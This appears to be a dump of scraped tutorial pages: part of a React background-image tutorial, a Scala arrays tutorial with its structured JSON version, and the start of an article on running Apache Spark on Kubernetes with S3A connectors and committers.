"code": "import React from \"react\"; const App = () => { return ( <div style={{ backgroundImage: 'url(\"https://media.geeksforgeeks.org/'+ 'wp-content/uploads/20201221222410/download3.png\")', height: \"300px\", backgroundRepeat: \"no-repeat\" }}> <h1> HELLO </h1> </div> );}; export default App;",
"e": 25637,
"s": 25323,
"text": null
},
{
"code": null,
"e": 25863,
"s": 25637,
"text": "Approach 2: Set background image using the Absolute URL method: If you put your image, for example, background.jpg file inside the public/ folder, you can include the absolute URL by using the PUBLIC_URL environment variable."
},
{
"code": null,
"e": 25880,
"s": 25863,
"text": "Filename: App.js"
},
{
"code": null,
"e": 25891,
"s": 25880,
"text": "Javascript"
},
{
"code": "import React from \"react\"; const App = () => { return ( <div style={{ backgroundImage: `url(${process.env.PUBLIC_URL + \"/background.jpg\"})`, height: \"300px\", backgroundRepeat: \"no-repeat\" }} > <h1>Hello</h1> </div> );}; export default App;",
"e": 26168,
"s": 25891,
"text": null
},
{
"code": null,
"e": 26390,
"s": 26168,
"text": "Approach 3: Set background image using the Relative URL method: If you put your image, for example, background.jpg file inside the public/ folder in the react app, you can access it at <your host address>/background.jpg. "
},
{
"code": null,
"e": 26487,
"s": 26390,
"text": "You can then assign the URL relative to your host address to set the background image like this:"
},
{
"code": null,
"e": 26504,
"s": 26487,
"text": "Filename: App.js"
},
{
"code": null,
"e": 26515,
"s": 26504,
"text": "Javascript"
},
{
"code": "import React from \"react\"; const App = () => { return ( <div style={{ backgroundImage: \"url(/background.jpg)\", height: \"300px\", backgroundRepeat: \"no-repeat\" }} > <h1>Hello</h1> </div> );}; export default App;",
"e": 26758,
"s": 26515,
"text": null
},
{
"code": null,
"e": 26871,
"s": 26758,
"text": "Step to Run Application: Run the application using the following command from the root directory of the project:"
},
{
"code": null,
"e": 26881,
"s": 26871,
"text": "npm start"
},
{
"code": null,
"e": 26890,
"s": 26881,
"text": "Output: "
},
{
"code": null,
"e": 26897,
"s": 26890,
"text": "Picked"
},
{
"code": null,
"e": 26906,
"s": 26897,
"text": "react-js"
},
{
"code": null,
"e": 26917,
"s": 26906,
"text": "JavaScript"
},
{
"code": null,
"e": 26934,
"s": 26917,
"text": "Web Technologies"
},
{
"code": null,
"e": 27032,
"s": 26934,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 27041,
"s": 27032,
"text": "Comments"
},
{
"code": null,
"e": 27054,
"s": 27041,
"text": "Old Comments"
},
{
"code": null,
"e": 27099,
"s": 27054,
"text": "Convert a string to an integer in JavaScript"
},
{
"code": null,
"e": 27160,
"s": 27099,
"text": "Difference between var, let and const keywords in JavaScript"
},
{
"code": null,
"e": 27232,
"s": 27160,
"text": "Differences between Functional Components and Class Components in React"
},
{
"code": null,
"e": 27284,
"s": 27232,
"text": "How to append HTML code to a div using JavaScript ?"
},
{
"code": null,
"e": 27330,
"s": 27284,
"text": "How to Open URL in New Tab using JavaScript ?"
},
{
"code": null,
"e": 27372,
"s": 27330,
"text": "Roadmap to Become a Web Developer in 2022"
},
{
"code": null,
"e": 27405,
"s": 27372,
"text": "Installation of Node.js on Linux"
},
{
"code": null,
"e": 27448,
"s": 27405,
"text": "How to fetch data from an API in ReactJS ?"
},
{
"code": null,
"e": 27510,
"s": 27448,
"text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills"
}
] |
Scala - Arrays
|
Scala provides a data structure, the array, which stores a fixed-size sequential collection of elements of the same type. An array is used to store a collection of data, but it is often more useful to think of an array as a collection of variables of the same type.
Instead of declaring individual variables, such as number0, number1, ..., and number99, you declare one array variable such as numbers and use numbers[0], numbers[1], and ..., numbers[99] to represent individual variables. This tutorial introduces how to declare array variables, create arrays, and process arrays using indexed variables. The index of the first element of an array is the number zero and the index of the last element is the total number of elements minus one.
To use an array in a program, you must declare a variable to reference the array and you must specify the type of array the variable can reference.
The following is the syntax for declaring an array variable.
var z:Array[String] = new Array[String](3)
or
var z = new Array[String](3)
Here, z is declared as an array of Strings that may hold up to three elements. Values can be assigned to individual elements or get access to individual elements, it can be done by using commands like the following −
z(0) = "Zara"; z(1) = "Nuha"; z(4/2) = "Ayan"
Here, the last example shows that in general the index can be any expression that yields a whole number. There is one more way of defining an array −
var z = Array("Zara", "Nuha", "Ayan")
Following picture represents an array myList. Here, myList holds ten double values and the indices are from 0 to 9.
When processing array elements, we often use loop contol structures because all of the elements in an array are of the same type and the size of the array is known.
Below is an example program of showing how to create, initialize and process arrays −
object Demo {
def main(args: Array[String]) {
var myList = Array(1.9, 2.9, 3.4, 3.5)
// Print all the array elements
for ( x <- myList ) {
println( x )
}
// Summing all elements
var total = 0.0;
for ( i <- 0 to (myList.length - 1)) {
total += myList(i);
}
println("Total is " + total);
// Finding the largest element
var max = myList(0);
for ( i <- 1 to (myList.length - 1) ) {
if (myList(i) > max) max = myList(i);
}
println("Max is " + max);
}
}
Save the above program in Demo.scala. The following commands are used to compile and execute this program.
\>scalac Demo.scala
\>scala Demo
1.9
2.9
3.4
3.5
Total is 11.7
Max is 3.5
Scala does not directly support various array operations and provides various methods to process arrays in any dimension. If you want to use the different methods then it is required to import Array._ package.
There are many situations where you would need to define and use multi-dimensional arrays (i.e., arrays whose elements are arrays). For example, matrices and tables are examples of structures that can be realized as two-dimensional arrays.
The following is the example of defining a two-dimensional array −
var myMatrix = ofDim[Int](3,3)
This is an array that has three elements each being an array of integers that has three elements.
Try the following example program to process a multi-dimensional array −
import Array._
object Demo {
def main(args: Array[String]) {
var myMatrix = ofDim[Int](3,3)
// build a matrix
for (i <- 0 to 2) {
for ( j <- 0 to 2) {
myMatrix(i)(j) = j;
}
}
// Print two dimensional array
for (i <- 0 to 2) {
for ( j <- 0 to 2) {
print(" " + myMatrix(i)(j));
}
println();
}
}
}
Save the above program in Demo.scala. The following commands are used to compile and execute this program.
\>scalac Demo.scala
\>scala Demo
0 1 2
0 1 2
0 1 2
Try the following example which makes use of concat() method to concatenate two arrays. You can pass more than one array as arguments to concat() method.
import Array._
object Demo {
def main(args: Array[String]) {
var myList1 = Array(1.9, 2.9, 3.4, 3.5)
var myList2 = Array(8.9, 7.9, 0.4, 1.5)
var myList3 = concat( myList1, myList2)
// Print all the array elements
for ( x <- myList3 ) {
println( x )
}
}
}
Save the above program in Demo.scala. The following commands are used to compile and execute this program.
\>scalac Demo.scala
\>scala Demo
1.9
2.9
3.4
3.5
8.9
7.9
0.4
1.5
Use of range() method to generate an array containing a sequence of increasing integers in a given range. You can use final argument as step to create the sequence; if you do not use final argument, then step would be assumed as 1.
Let us take an example of creating an array of range (10, 20, 2): It means creating an array with elements between 10 and 20 and range difference 2. Elements in the array are 10, 12, 14, 16, and 18.
Another example: range (10, 20). Here range difference is not given so by default it assumes 1 element. It create an array with the elements in between 10 and 20 with range difference 1. Elements in the array are 10, 11, 12, 13, ..., and 19.
The following example program shows how to create an array with ranges.
import Array._
object Demo {
def main(args: Array[String]) {
var myList1 = range(10, 20, 2)
var myList2 = range(10,20)
// Print all the array elements
for ( x <- myList1 ) {
print( " " + x )
}
println()
for ( x <- myList2 ) {
print( " " + x )
}
}
}
Save the above program in Demo.scala. The following commands are used to compile and execute this program.
\>scalac Demo.scala
\>scala Demo
10 12 14 16 18
10 11 12 13 14 15 16 17 18 19
Following are the important methods, which you can use while playing with array. As shown above, you would have to import Array._ package before using any of the mentioned methods. For a complete list of methods available, please check official documentation of Scala.
def apply( x: T, xs: T* ): Array[T]
Creates an array of T objects, where T can be Unit, Double, Float, Long, Int, Char, Short, Byte, Boolean.
def concat[T]( xss: Array[T]* ): Array[T]
Concatenates all arrays into a single array.
def copy( src: AnyRef, srcPos: Int, dest: AnyRef, destPos: Int, length: Int ): Unit
Copy one array to another. Equivalent to Java's System.arraycopy(src, srcPos, dest, destPos, length).
def empty[T]: Array[T]
Returns an array of length 0
def iterate[T]( start: T, len: Int )( f: (T) => T ): Array[T]
Returns an array containing repeated applications of a function to a start value.
def fill[T]( n: Int )(elem: => T): Array[T]
Returns an array that contains the results of some element computation a number of times.
def fill[T]( n1: Int, n2: Int )( elem: => T ): Array[Array[T]]
Returns a two-dimensional array that contains the results of some element computation a number of times.
def iterate[T]( start: T, len: Int)( f: (T) => T ): Array[T]
Returns an array containing repeated applications of a function to a start value.
def ofDim[T]( n1: Int ): Array[T]
Creates array with given dimensions.
def ofDim[T]( n1: Int, n2: Int ): Array[Array[T]]
Creates a 2-dimensional array
def ofDim[T]( n1: Int, n2: Int, n3: Int ): Array[Array[Array[T]]]
Creates a 3-dimensional array
def range( start: Int, end: Int, step: Int ): Array[Int]
Returns an array containing equally spaced values in some integer interval.
def range( start: Int, end: Int ): Array[Int]
Returns an array containing a sequence of increasing integers in a range.
def tabulate[T]( n: Int )(f: (Int)=> T): Array[T]
Returns an array containing values of a given function over a range of integer values starting from 0.
def tabulate[T]( n1: Int, n2: Int )( f: (Int, Int ) => T): Array[Array[T]]
Returns a two-dimensional array containing values of a given function over ranges of integer values starting from 0.
82 Lectures
7 hours
Arnab Chakraborty
23 Lectures
1.5 hours
Mukund Kumar Mishra
52 Lectures
1.5 hours
Bigdata Engineer
76 Lectures
5.5 hours
Bigdata Engineer
69 Lectures
7.5 hours
Bigdata Engineer
46 Lectures
4.5 hours
Stone River ELearning
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2264,
"s": 1998,
"text": "Scala provides a data structure, the array, which stores a fixed-size sequential collection of elements of the same type. An array is used to store a collection of data, but it is often more useful to think of an array as a collection of variables of the same type."
},
{
"code": null,
"e": 2742,
"s": 2264,
"text": "Instead of declaring individual variables, such as number0, number1, ..., and number99, you declare one array variable such as numbers and use numbers[0], numbers[1], and ..., numbers[99] to represent individual variables. This tutorial introduces how to declare array variables, create arrays, and process arrays using indexed variables. The index of the first element of an array is the number zero and the index of the last element is the total number of elements minus one."
},
{
"code": null,
"e": 2890,
"s": 2742,
"text": "To use an array in a program, you must declare a variable to reference the array and you must specify the type of array the variable can reference."
},
{
"code": null,
"e": 2951,
"s": 2890,
"text": "The following is the syntax for declaring an array variable."
},
{
"code": null,
"e": 3029,
"s": 2951,
"text": "var z:Array[String] = new Array[String](3)\n\nor\n\nvar z = new Array[String](3)\n"
},
{
"code": null,
"e": 3246,
"s": 3029,
"text": "Here, z is declared as an array of Strings that may hold up to three elements. Values can be assigned to individual elements or get access to individual elements, it can be done by using commands like the following −"
},
{
"code": null,
"e": 3293,
"s": 3246,
"text": "z(0) = \"Zara\"; z(1) = \"Nuha\"; z(4/2) = \"Ayan\"\n"
},
{
"code": null,
"e": 3443,
"s": 3293,
"text": "Here, the last example shows that in general the index can be any expression that yields a whole number. There is one more way of defining an array −"
},
{
"code": null,
"e": 3482,
"s": 3443,
"text": "var z = Array(\"Zara\", \"Nuha\", \"Ayan\")\n"
},
{
"code": null,
"e": 3598,
"s": 3482,
"text": "Following picture represents an array myList. Here, myList holds ten double values and the indices are from 0 to 9."
},
{
"code": null,
"e": 3763,
"s": 3598,
"text": "When processing array elements, we often use loop contol structures because all of the elements in an array are of the same type and the size of the array is known."
},
{
"code": null,
"e": 3849,
"s": 3763,
"text": "Below is an example program of showing how to create, initialize and process arrays −"
},
{
"code": null,
"e": 4444,
"s": 3849,
"text": "object Demo {\n def main(args: Array[String]) {\n var myList = Array(1.9, 2.9, 3.4, 3.5)\n \n // Print all the array elements\n for ( x <- myList ) {\n println( x )\n }\n\n // Summing all elements\n var total = 0.0;\n \n for ( i <- 0 to (myList.length - 1)) {\n total += myList(i);\n }\n println(\"Total is \" + total);\n\n // Finding the largest element\n var max = myList(0);\n \n for ( i <- 1 to (myList.length - 1) ) {\n if (myList(i) > max) max = myList(i);\n }\n \n println(\"Max is \" + max);\n }\n}"
},
{
"code": null,
"e": 4551,
"s": 4444,
"text": "Save the above program in Demo.scala. The following commands are used to compile and execute this program."
},
{
"code": null,
"e": 4585,
"s": 4551,
"text": "\\>scalac Demo.scala\n\\>scala Demo\n"
},
{
"code": null,
"e": 4627,
"s": 4585,
"text": "1.9\n2.9\n3.4\n3.5\nTotal is 11.7\nMax is 3.5\n"
},
{
"code": null,
"e": 4837,
"s": 4627,
"text": "Scala does not directly support various array operations and provides various methods to process arrays in any dimension. If you want to use the different methods then it is required to import Array._ package."
},
{
"code": null,
"e": 5077,
"s": 4837,
"text": "There are many situations where you would need to define and use multi-dimensional arrays (i.e., arrays whose elements are arrays). For example, matrices and tables are examples of structures that can be realized as two-dimensional arrays."
},
{
"code": null,
"e": 5144,
"s": 5077,
"text": "The following is the example of defining a two-dimensional array −"
},
{
"code": null,
"e": 5175,
"s": 5144,
"text": "var myMatrix = ofDim[Int](3,3)"
},
{
"code": null,
"e": 5273,
"s": 5175,
"text": "This is an array that has three elements each being an array of integers that has three elements."
},
{
"code": null,
"e": 5346,
"s": 5273,
"text": "Try the following example program to process a multi-dimensional array −"
},
{
"code": null,
"e": 5773,
"s": 5346,
"text": "import Array._\n\nobject Demo {\n def main(args: Array[String]) {\n var myMatrix = ofDim[Int](3,3)\n \n // build a matrix\n for (i <- 0 to 2) {\n for ( j <- 0 to 2) {\n myMatrix(i)(j) = j;\n }\n }\n \n // Print two dimensional array\n for (i <- 0 to 2) {\n for ( j <- 0 to 2) {\n print(\" \" + myMatrix(i)(j));\n }\n println();\n }\n }\n}"
},
{
"code": null,
"e": 5880,
"s": 5773,
"text": "Save the above program in Demo.scala. The following commands are used to compile and execute this program."
},
{
"code": null,
"e": 5914,
"s": 5880,
"text": "\\>scalac Demo.scala\n\\>scala Demo\n"
},
{
"code": null,
"e": 5933,
"s": 5914,
"text": "0 1 2\n0 1 2\n0 1 2\n"
},
{
"code": null,
"e": 6087,
"s": 5933,
"text": "Try the following example which makes use of concat() method to concatenate two arrays. You can pass more than one array as arguments to concat() method."
},
{
"code": null,
"e": 6403,
"s": 6087,
"text": "import Array._\n\nobject Demo {\n def main(args: Array[String]) {\n var myList1 = Array(1.9, 2.9, 3.4, 3.5)\n var myList2 = Array(8.9, 7.9, 0.4, 1.5)\n\n var myList3 = concat( myList1, myList2)\n \n // Print all the array elements\n for ( x <- myList3 ) {\n println( x )\n }\n }\n}"
},
{
"code": null,
"e": 6510,
"s": 6403,
"text": "Save the above program in Demo.scala. The following commands are used to compile and execute this program."
},
{
"code": null,
"e": 6544,
"s": 6510,
"text": "\\>scalac Demo.scala\n\\>scala Demo\n"
},
{
"code": null,
"e": 6577,
"s": 6544,
"text": "1.9\n2.9\n3.4\n3.5\n8.9\n7.9\n0.4\n1.5\n"
},
{
"code": null,
"e": 6809,
"s": 6577,
"text": "Use of range() method to generate an array containing a sequence of increasing integers in a given range. You can use final argument as step to create the sequence; if you do not use final argument, then step would be assumed as 1."
},
{
"code": null,
"e": 7008,
"s": 6809,
"text": "Let us take an example of creating an array of range (10, 20, 2): It means creating an array with elements between 10 and 20 and range difference 2. Elements in the array are 10, 12, 14, 16, and 18."
},
{
"code": null,
"e": 7250,
"s": 7008,
"text": "Another example: range (10, 20). Here range difference is not given so by default it assumes 1 element. It create an array with the elements in between 10 and 20 with range difference 1. Elements in the array are 10, 11, 12, 13, ..., and 19."
},
{
"code": null,
"e": 7322,
"s": 7250,
"text": "The following example program shows how to create an array with ranges."
},
{
"code": null,
"e": 7652,
"s": 7322,
"text": "import Array._\n\nobject Demo {\n def main(args: Array[String]) {\n var myList1 = range(10, 20, 2)\n var myList2 = range(10,20)\n\n // Print all the array elements\n for ( x <- myList1 ) {\n print( \" \" + x )\n }\n \n println()\n for ( x <- myList2 ) {\n print( \" \" + x )\n }\n }\n}"
},
{
"code": null,
"e": 7759,
"s": 7652,
"text": "Save the above program in Demo.scala. The following commands are used to compile and execute this program."
},
{
"code": null,
"e": 7793,
"s": 7759,
"text": "\\>scalac Demo.scala\n\\>scala Demo\n"
},
{
"code": null,
"e": 7839,
"s": 7793,
"text": "10 12 14 16 18\n10 11 12 13 14 15 16 17 18 19\n"
},
{
"code": null,
"e": 8108,
"s": 7839,
"text": "Following are the important methods, which you can use while playing with array. As shown above, you would have to import Array._ package before using any of the mentioned methods. For a complete list of methods available, please check official documentation of Scala."
},
{
"code": null,
"e": 8144,
"s": 8108,
"text": "def apply( x: T, xs: T* ): Array[T]"
},
{
"code": null,
"e": 8250,
"s": 8144,
"text": "Creates an array of T objects, where T can be Unit, Double, Float, Long, Int, Char, Short, Byte, Boolean."
},
{
"code": null,
"e": 8292,
"s": 8250,
"text": "def concat[T]( xss: Array[T]* ): Array[T]"
},
{
"code": null,
"e": 8337,
"s": 8292,
"text": "Concatenates all arrays into a single array."
},
{
"code": null,
"e": 8421,
"s": 8337,
"text": "def copy( src: AnyRef, srcPos: Int, dest: AnyRef, destPos: Int, length: Int ): Unit"
},
{
"code": null,
"e": 8523,
"s": 8421,
"text": "Copy one array to another. Equivalent to Java's System.arraycopy(src, srcPos, dest, destPos, length)."
},
{
"code": null,
"e": 8546,
"s": 8523,
"text": "def empty[T]: Array[T]"
},
{
"code": null,
"e": 8575,
"s": 8546,
"text": "Returns an array of length 0"
},
{
"code": null,
"e": 8637,
"s": 8575,
"text": "def iterate[T]( start: T, len: Int )( f: (T) => T ): Array[T]"
},
{
"code": null,
"e": 8719,
"s": 8637,
"text": "Returns an array containing repeated applications of a function to a start value."
},
{
"code": null,
"e": 8764,
"s": 8719,
"text": "def fill[T]( n: Int )(elem: => T): Array[T]"
},
{
"code": null,
"e": 8854,
"s": 8764,
"text": "Returns an array that contains the results of some element computation a number of times."
},
{
"code": null,
"e": 8917,
"s": 8854,
"text": "def fill[T]( n1: Int, n2: Int )( elem: => T ): Array[Array[T]]"
},
{
"code": null,
"e": 9022,
"s": 8917,
"text": "Returns a two-dimensional array that contains the results of some element computation a number of times."
},
{
"code": null,
"e": 9083,
"s": 9022,
"text": "def iterate[T]( start: T, len: Int)( f: (T) => T ): Array[T]"
},
{
"code": null,
"e": 9165,
"s": 9083,
"text": "Returns an array containing repeated applications of a function to a start value."
},
{
"code": null,
"e": 9199,
"s": 9165,
"text": "def ofDim[T]( n1: Int ): Array[T]"
},
{
"code": null,
"e": 9236,
"s": 9199,
"text": "Creates array with given dimensions."
},
{
"code": null,
"e": 9286,
"s": 9236,
"text": "def ofDim[T]( n1: Int, n2: Int ): Array[Array[T]]"
},
{
"code": null,
"e": 9316,
"s": 9286,
"text": "Creates a 2-dimensional array"
},
{
"code": null,
"e": 9382,
"s": 9316,
"text": "def ofDim[T]( n1: Int, n2: Int, n3: Int ): Array[Array[Array[T]]]"
},
{
"code": null,
"e": 9412,
"s": 9382,
"text": "Creates a 3-dimensional array"
},
{
"code": null,
"e": 9469,
"s": 9412,
"text": "def range( start: Int, end: Int, step: Int ): Array[Int]"
},
{
"code": null,
"e": 9545,
"s": 9469,
"text": "Returns an array containing equally spaced values in some integer interval."
},
{
"code": null,
"e": 9591,
"s": 9545,
"text": "def range( start: Int, end: Int ): Array[Int]"
},
{
"code": null,
"e": 9665,
"s": 9591,
"text": "Returns an array containing a sequence of increasing integers in a range."
},
{
"code": null,
"e": 9715,
"s": 9665,
"text": "def tabulate[T]( n: Int )(f: (Int)=> T): Array[T]"
},
{
"code": null,
"e": 9818,
"s": 9715,
"text": "Returns an array containing values of a given function over a range of integer values starting from 0."
},
{
"code": null,
"e": 9893,
"s": 9818,
"text": "def tabulate[T]( n1: Int, n2: Int )( f: (Int, Int ) => T): Array[Array[T]]"
},
{
"code": null,
"e": 10010,
"s": 9893,
"text": "Returns a two-dimensional array containing values of a given function over ranges of integer values starting from 0."
},
{
"code": null,
"e": 10043,
"s": 10010,
"text": "\n 82 Lectures \n 7 hours \n"
},
{
"code": null,
"e": 10062,
"s": 10043,
"text": " Arnab Chakraborty"
},
{
"code": null,
"e": 10097,
"s": 10062,
"text": "\n 23 Lectures \n 1.5 hours \n"
},
{
"code": null,
"e": 10118,
"s": 10097,
"text": " Mukund Kumar Mishra"
},
{
"code": null,
"e": 10153,
"s": 10118,
"text": "\n 52 Lectures \n 1.5 hours \n"
},
{
"code": null,
"e": 10171,
"s": 10153,
"text": " Bigdata Engineer"
},
{
"code": null,
"e": 10206,
"s": 10171,
"text": "\n 76 Lectures \n 5.5 hours \n"
},
{
"code": null,
"e": 10224,
"s": 10206,
"text": " Bigdata Engineer"
},
{
"code": null,
"e": 10259,
"s": 10224,
"text": "\n 69 Lectures \n 7.5 hours \n"
},
{
"code": null,
"e": 10277,
"s": 10259,
"text": " Bigdata Engineer"
},
{
"code": null,
"e": 10312,
"s": 10277,
"text": "\n 46 Lectures \n 4.5 hours \n"
},
{
"code": null,
"e": 10335,
"s": 10312,
"text": " Stone River ELearning"
},
{
"code": null,
"e": 10342,
"s": 10335,
"text": " Print"
},
{
"code": null,
"e": 10353,
"s": 10342,
"text": " Add Notes"
}
] |
Apache Spark with Kubernetes and Fast S3 Access | by Yifeng Jiang | Towards Data Science
|
To make the most of Apache Spark, we need two things:
A distributed storage to store the data
A scheduler to run the Spark executors across a computing cluster
People have been doing this differently on-premise and cloud. With on-premise, most use Spark with Hadoop, or particularly HDFS for the storage and YARN for the scheduler. While in the cloud, most use object storage like Amazon S3 for the storage, and a separate cloud-native service such as Amazon EMR or Databricks for the scheduler. What if we could use Spark in a single architecture on-promise or in the cloud?
Enter Spark with Kubernetes and S3. The highlights for this architecture includes:
Single architecture to run Spark across hybrid cloud.
Scale, operate compute and storage independently.
Fast provision, deploy and upgrade.
No need of Hadoop, which is complex to use and operate.
In this blog, I will explain how to run Spark with Kubernetes using the Spark on Kubernetes Operator. I will also describe the configurations for fast S3 data access using S3A Connector and S3A Committers. This architecture works for both cloud object storage and on premise S3 compatible object storage like FlashBlade S3.
Follow this quick start guide to install the operator. Make sure you enable webhook in the installation.
helm repo add incubator http://storage.googleapis.com/kubernetes-charts-incubatorhelm install incubator/sparkoperator --namespace spark-operator --set enableWebhook=true
Create spark service account and roll binding in Kubernetes default name space using this manifest.
kubectl create -f manifest/spark-rbac.yaml
Run the Spark Pi example to test the installation. This will create two Spark pods in Kubernetes: one for the driver, another for an executor.
kubectl apply -f examples/spark-pi.yaml
Thanks to the Spark Operator, with a couple of commands, I was able to deploy a simple Spark job running on Kubernetes. My next task is to access data in S3 in my Spark job. Hadoop’s S3A connector offers high-performance I/O against Amazon S3 and compatible object storage implementations including FlashBlade S3.
The Spark Operator uses a pre-built Spark docker image from Google Cloud. However, the image does not include the S3A connector. Although, it is possible to customise and add S3A, the default Spark image is built against Hadoop 2.7, which is known to have an inefficient and slow S3A implementation. So I decided to build my own Docker image with Spark and latest S3A connector.
I will omit the building process details as it is straightforward, but the key points is to use the pre-built Spark-without-Hadoop binary and user-provided Hadoop. My Docker file is available on my Github.
My Docker image with Spark 2.4.5, Hadoop 3.2.1 and latest S3A is available at Docker Hub:
docker pull uprush/apache-spark:2.4.5
The minimum S3A configuration for Spark to access data in S3 is as the below:
"spark.hadoop.fs.s3a.endpoint": "192.168.170.12""spark.hadoop.fs.s3a.access.key": "S3_ACCESS_KEY""spark.hadoop.fs.s3a.secret.key": "S3_SECRET_KEY""spark.hadoop.fs.s3a.connection.ssl.enabled": "false"
In a regular Spark cluster, this is put in the spark-default.conf, or core-site.xml file if running with Hadoop. With the Spark Operator, it is configured under spec.sparkConf section in your application YAML file. Refer to the API doc for a full description of the Spark Operator API.
A working example is the best to demonstrate how it works. Here is an example code to read and write data in S3 from a Spark program called DogLover. I have collected tweets from dog lovers on twitter, using the twitter API, and stores them as JSON files in an S3 bucket on FlashBlade. The DogLover Spark program is a simple ETL job, which reads the JSON files from S3, does the ETL using Spark Dataframe and writes the result back to S3 as Parquet file, all through the S3A connector.
To manage the lifecycle of Spark applications in Kubernetes, the Spark Operator does not allow clients to use spark-submit directly to run the job. Instead, I upload the jar file to S3, and in my doglover.yaml spec file, I let the Spark Operator to download from there and run the program on Kubernetes.
spec: type: Scala mode: cluster image: "uprush/apache-spark:2.4.5" imagePullPolicy: Always mainClass: com.uprush.example.DogLover mainApplicationFile: "s3a://deephub/doglover/doglover_2.12-0.1.0-SNAPSHOT.jar" sparkVersion: "2.4.5"
I can then submit the Spark job like this:
kubectl create -f doglover.yaml
After a few seconds, my Spark job was running on Kubernetes.
Once the job finished, we should see a zero byte _SUCCESS file along with multiple Parquet files in the output S3 directory.
My architecture looks like this:
In my opinion, this is a better way to submit Spark jobs because it can be submitted from any available Kubernetes client. It makes my job less dependent on the infrastructure, therefore more portable. For example to run the same job in AWS, I can first replicate my data from FlashBlade S3 to Amazon S3 using FlashBlade object replication. I can then easily run the same Spark job same way in a Kubernetes cluster in AWS cloud.
When working with S3, Spark relies on the Hadoop output committers to reliably writes output to S3 object storage. The traditional FileOutputCommitter is designed for HDFS, thus when using with S3, it is known to be inefficient, slow and less reliable because it relays on an atomic “rename” HDFS operation, which is not available for object storage. In Hadoop 3, the new “zero-rename” S3A Committers are created for addressing these issues by leveraging cloud-native S3 feature. See more on Committing work to S3 with the S3A Committers.
Netflix has contributed a S3A committer called the Staging Committer, one which has a number of appealing features
Doesn’t have any requirements of the destination object store.
Known to work.
The committer writes task outputs to a temporary directory called task attempt directory on the local filesystem. On task commit, the committer enumerates files in the task attempt directory. Each file is uploaded to S3 using the multi-part upload API. The information needed to commit the upload is saved into a HDFS staging directory and committed via that protocol: when the job commits, pending upload parts of the successful tasks are all committed.
Minimum S3A staging committer configurations for Spark on Kubernetes (without HDFS):
"spark.hadoop.mapreduce.outputcommitter.factory.scheme.s3a":"org.apache.hadoop.fs.s3a.commit.S3ACommitterFactory""spark.hadoop.fs.s3a.committer.name": "directory""spark.sql.sources.commitProtocolClass": "org.apache.spark.internal.io.cloud.PathOutputCommitProtocol""spark.sql.parquet.output.committer.class": "org.apache.spark.internal.io.cloud.BindingParquetOutputCommitter"
In fact, the staging directory does not have to be in HDFS, it can be also be a NFS volume that is shared to all Spark pods. In my case, I use FlashBlade NFS because I don’t want to have any HDFS dependency.
Creating a staging PV and mount it to all Spark pods is easy by using Pure Service Orchestrator (PSO).
To use FlashBlade NFS as the PV, create a staging-pvc.yaml spec file and specify storage class to pure-file.
apiVersion: v1kind: PersistentVolumeClaimmetadata: name: data-staging-sharespec: accessModes: - ReadWriteMany resources: requests: storage: 1Ti storageClassName: pure-file
Apply the spec file to create a PVC.
kubectl create -f staging-pvc.yaml
I then create a PV and mount it to all Spark pods under the committer’s work directory, which is /home/spark/tmp in my case.
spec: volumes: - name: "staging-vol" persistentVolumeClaim: claimName: data-staging-share driver: volumeMounts: - name: "staging-vol" mountPath: "/home/spark/tmp" executor: instances: 2 volumeMounts: - name: "staging-vol" mountPath: "/home/spark/tmp"
Finally, I configure S3A to use this PV.
"spark.hadoop.fs.s3a.committer.tmp.path": "file:///home/spark/tmp/staging"
It is not required, but often time it is better to use a PV for S3A committer’s buffer directory. Buffer directory is a local filesystem directory for data being written by the committer. Because the staging committer writes its output to the local filesystem and only uploads the data on task commits, it is important to make sure enough local storage is available to store outputs generated by all uncommitted tasks running on the host. Small hosts/VMs may run out of disk. To avoid this situation, I configure S3A to use the same PV as the above for buffer directory. Even it is a remote storage, performance is no problem here because FlashBlade is very fast.
"spark.hadoop.fs.s3a.buffer.dir": "/home/spark/tmp/buffer"
With these, I can use the efficient, fast and reliable S3A staging committer to write data to S3 from Spark running on Kubernetes.
With the above setup, my architecture changes to:
Put everything above together in the doglover.yaml spec file, rerun the job. Unlike before, this time the _SUCCESS file created by the job is not zero byte. It contains metrics and counters from the S3A committer.
cat _SUCCESS{ "name" : "org.apache.hadoop.fs.s3a.commit.files.SuccessData/1", "timestamp" : 1588673361792, "date" : "Tue May 05 10:09:21 UTC 2020", "hostname" : "doglover-driver", "committer" : "directory", "description" : "Task committer attempt_20200505100916_0000_m_000000_0", "metrics" : { "stream_write_block_uploads" : 0, "files_created" : 1,...
This indicates the S3A committer is correctly configured, and Spark was writing to S3 more efficiently. Refer to my deck for the details of S3A committers and their performance character.
With Spark on Kubernetes, and by putting data in S3, I was able to easily and quickly spin up and down Spark jobs in a portable way. I was also able to run my Spark jobs along with many other applications such as Presto and Apache Kafka in the same Kubernetes cluster, using the same FlashBlade storage. And I did not need to manage a Hadoop cluster for all of these. Kubernetes, FlashBlade and PSO together bring a simple, scalable and high performance disaggregated solution for running modern analytics systems such as Spark like a service.
The benefit of using Spark with Kubernetes and S3 is definitely huge, however, it does have limits. This architecture is great for fire-and-forget types of workload like ETL batches. Although, it may not be the best Spark architecture for things like business intelligence (BI) and notebook backend, because I couldn’t find an easy way to keep the Thrift Server or Spark session running through the Spark Operator. But I know there are better ways to do those on Kubernetes with Spark and other solutions. Keep tuned.
All it takes is a spark!
|
[
{
"code": null,
"e": 225,
"s": 171,
"text": "To make the most of Apache Spark, we need two things:"
},
{
"code": null,
"e": 265,
"s": 225,
"text": "A distributed storage to store the data"
},
{
"code": null,
"e": 331,
"s": 265,
"text": "A scheduler to run the Spark executors across a computing cluster"
},
{
"code": null,
"e": 747,
"s": 331,
"text": "People have been doing this differently on-premise and cloud. With on-premise, most use Spark with Hadoop, or particularly HDFS for the storage and YARN for the scheduler. While in the cloud, most use object storage like Amazon S3 for the storage, and a separate cloud-native service such as Amazon EMR or Databricks for the scheduler. What if we could use Spark in a single architecture on-promise or in the cloud?"
},
{
"code": null,
"e": 830,
"s": 747,
"text": "Enter Spark with Kubernetes and S3. The highlights for this architecture includes:"
},
{
"code": null,
"e": 884,
"s": 830,
"text": "Single architecture to run Spark across hybrid cloud."
},
{
"code": null,
"e": 934,
"s": 884,
"text": "Scale, operate compute and storage independently."
},
{
"code": null,
"e": 970,
"s": 934,
"text": "Fast provision, deploy and upgrade."
},
{
"code": null,
"e": 1026,
"s": 970,
"text": "No need of Hadoop, which is complex to use and operate."
},
{
"code": null,
"e": 1350,
